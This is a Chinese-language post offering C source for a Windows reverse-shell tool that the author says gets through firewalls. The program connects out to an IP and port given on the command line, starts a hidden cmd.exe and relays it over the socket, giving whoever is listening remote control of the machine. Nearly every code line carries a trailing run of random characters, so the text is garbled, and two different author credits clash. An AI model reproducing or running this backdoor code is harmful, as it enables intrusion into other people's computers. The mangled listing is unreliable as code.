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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 LiZdRr  
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/* ============================== m\/,cc@,  
Rebound port in Windows NT dXiE.Si  
By wind,2006/7 O xT}I  
===============================*/ {jOzap|  
#include L/q]QgCoA  
#include gT(th9'+z  
LAv:+o(m/  
#pragma comment(lib,"wsock32.lib") BFMS*t`  
4[TS4p  
void OutputShell(); &@YFje6Lcm  
SOCKET sClient; cgs3qI  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; X-kXg)!Bg  
-(\1r2 Y  
void main(int argc,char **argv) x0\e<x9s  
{ C}b|2y  
WSADATA stWsaData; qr)v'aC3  
int nRet; EkJVFHfh  
SOCKADDR_IN stSaiClient,stSaiServer; J?UA:u  
Nfv="t9e  
if(argc != 3) onnI !  
{ WI1T?.Gc   
printf("Useage:\n\rRebound DestIP DestPort\n"); _1>SG2h{fV  
return; 5vD3K! \u  
} 59{;VY81  
lSH ZV Fd  
WSAStartup(MAKEWORD(2,2),&stWsaData); "7=bL7wM&  
(n=9c%w  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "^;#f+0  
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stSaiClient.sin_family = AF_INET; {(rf/:X!p  
stSaiClient.sin_port = htons(0); P+Wm9xR2d  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ,YjxC p3  
5;W\2yj  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q_ctX|.  
{ ~?#~Ar  
printf("Bind Socket Failed!\n"); vqq6B/r@Fu  
return; -=>sTMWpr  
} >n]oB~P%  
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stSaiServer.sin_family = AF_INET; q75ky1^1:  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jcE Msc  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0|g[o:;fl_  
]?[zx'|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c$9sF@K?  
{ HmvsYP66  
printf("Connect Error!"); H#OYw#L"u  
return; rwy+~  
} 6DB0ni  
OutputShell(); 7 0_}S*T  
} '=VH6@vZ_'  
j(j#0dXLh  
void OutputShell() S+r^B?a<oM  
{ T/ik/lFI  
char szBuff[1024]; `19qq]  
SECURITY_ATTRIBUTES stSecurityAttributes; tww=~!  
OSVERSIONINFO stOsversionInfo; E Zi&]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e,(a6X  
STARTUPINFO stStartupInfo; PSPTL3_~  
char *szShell; kVd5,Qd  
PROCESS_INFORMATION stProcessInformation; vm8$:W2 }  
unsigned long lBytesRead; 8) HBh7/  
7'z(~3D  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p!_[qs  
Nb0Ik/:<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 'r\ 4}Ik  
stSecurityAttributes.lpSecurityDescriptor = 0; 09'oz*v{#  
stSecurityAttributes.bInheritHandle = TRUE; )>V?+L5M  
/,!<Va;~  
Or7 mD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `{[RjM`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); p}uncIod  
vwmBUix  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >p0KFU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M ,`w A  
stStartupInfo.wShowWindow = SW_HIDE; =>qTNh*'  
stStartupInfo.hStdInput = hReadPipe; (-,>qMQs  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <YH=3[  
*$S#o#5  
GetVersionEx(&stOsversionInfo); ziiwxx_  
$#e1SS32  
switch(stOsversionInfo.dwPlatformId) -\4zwIH  
{ +>SRrIi  
case 1: lNz]H iD  
szShell = "command.com"; s3:9$.tiR[  
break; M/pMs 6  
default: .1#kD M  
szShell = "cmd.exe"; Xh F _]  
break; y!~qbh[  
} 2}vNSQvG  
Y]Vq\]m\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); U<^F4*G  
\vRd}   
send(sClient,szMsg,77,0); }gv8au<  
while(1) O6X"RsI}  
{ [ *>AN7W   
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +.kfU)6@  
if(lBytesRead) aJzLrX  
{ [%pRfjM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2' ] KTHm  
send(sClient,szBuff,lBytesRead,0); v-Qmx-N  
} u5+|Su  
else 69OF_/23  
{ p*20-!{A  
lBytesRead=recv(sClient,szBuff,1024,0); Z"y=sDO{  
if(lBytesRead<=0) break; jQ+sn/ROp  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~b)74M/  
} Gh\q^?}  
} LT VF8-v  
VUwC-)  
return; Y`BRh9Sa  
}
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